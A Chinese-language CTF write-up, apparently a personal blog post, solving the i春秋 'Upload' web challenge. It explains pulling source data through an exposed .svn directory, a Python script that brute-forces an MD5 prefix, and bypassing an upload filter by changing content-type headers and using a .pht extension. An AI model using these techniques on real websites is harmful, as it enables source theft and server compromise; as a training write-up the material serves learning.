CTF-i春秋-Web-SVN 源码泄露漏洞-Upload-线上选拔赛

2020.09.21

经验教训

  1. python中,post的内容是json格式;
  2. SVN 源码泄露漏洞,就是有个.svn目录,.svn/wc.db,大量用户数据,.svn/entries,能遍历网站目录,隐藏文件.svn/.svn-base源代码文件副本
    • 获取网站目录结构,可以直接在存在.svn的目录下加/.svn/entries来获取;
    • 获取源代码内容。如获取conf.php文件的内容可以在目录下加上/.svn/text-base/conf.php.svn-base来进行下载。
  3. 源码漏洞扫描可以发现上边的svn源码泄漏漏洞,还有其他源码漏洞可以参考这里,有什么好的漏洞扫描器??
  4. php的conf文件中是有一个正则的后缀名限制的,只要符合都可以被当做php文件执行。符合的后缀包括 php、php3、php4、php5、phtml、pht 等。
  5. 文件上传主要抓包修改三个地方,两个content-type,一个文件后缀名。
  6. python中,引入多线程的文件头是from multiprocessing.dummy import Pool as ThreadPool,基本操作是poolList = getPoolList() pool = ThreadPool() pool.map(checkMd5,poolList) pool.close() pool.join()

upload

https://www.ichunqiu.com/battalion

  1. 意思很明确,post消息头中的东西ZmxhZ19pc19oZXJlOiBNVEkwTmpNeA==,base64解码后为flag_is_here: MTI0NjMx,后半截还能继续base64,124631
  2. 按照要求post了,但是没啥结果,所以仔细一看,我发现每一次消息头中的数字会变化
  3. 因为他说要快一点,那么写个脚本试试
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/21 09:52:41
#author    : 乔悟空
#purpose   : 此脚本用于向特定网站快速发送post请求
import base64
import requests

url = "http://d9ee784d8d8e422295f9736111306dc1b68a202e84904630.changame.ichunqiu.com/"
session = requests.session()
res = session.get(url).headers['flag']
print(res)
res = base64.b64decode(res).decode().split(': ')[1]
print(res)
res = base64.b64decode(res).decode()
print(res)
res = session.post(url,data={'ichunqiu':res}).text
print(res)
  1. 得到结果Path:3712901a08bb58557943ca31f3487b7d,这看起来像是一个md5编码,解码试试?
  2. 解码结果是98123hasd,访问发现404;
  3. 然后试了试没解码之前的,成功进入……🙄
  4. 点击按钮跳转到一个类似登陆界面
  5. 思路很明确,得找一个前六位满足条件的验证码,但是我们的用户名该怎么填呢,看了wp学到了新知识,SVN 源码泄露漏洞。SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。
  6. 访问.svn/wc.db,得到用户名提示,解密得:8638d5263ab0d3face193725c23ce095,那么密码是啥呢?看答案发现密码什么都行,只要用户名和验证码正确就可以……
  7. python脚本得到md5满足的验证码,为了提高速度,要多线程才好用,复习一下多线程
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry2.py
#createTime: 2020/09/21 10:46:27
#author    : 乔悟空
#purpose   : 此脚本用于多线程爆破md5前六位是特定值的值
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

def checkMd5(rangeStr):
    start = int(rangeStr.split('-')[0])
    end = int(rangeStr.split('-')[1])
    target = rangeStr.split('-')[2]
    res = ''
    for i in range(start,end):
        if hashlib.md5(str(i).encode()).hexdigest()[:6]==target:
            print(i)
def getPoolList():
    print('请输入目标md5前六位值:',end = '')
    target = input()
    res = []
    for i in range(10):
        res.append(str(i*10000000)+'-'+str((i+1)*10000000)+'-'+target)
    return res

poolList = getPoolList()
pool = ThreadPool()
pool.map(checkMd5,poolList)
pool.close()
pool.join()
  1. 成了,但是惦记了好像没啥反应,不过提示了7815696ecbf1c96e6894b779456d330e.php
  2. 进入新链接是一个文件上传
  3. 找了个php上传,提示要是jpg
  4. 抓包修改两个content-type和文件后缀,php文件后缀修改成pht后成功获取flagflag{b54f5bc7-cc68-443a-b7ca-49fd652fb4f6}
posted @ 2020-09-21 11:32  乔悟空  阅读(524)  评论(0编辑  收藏  举报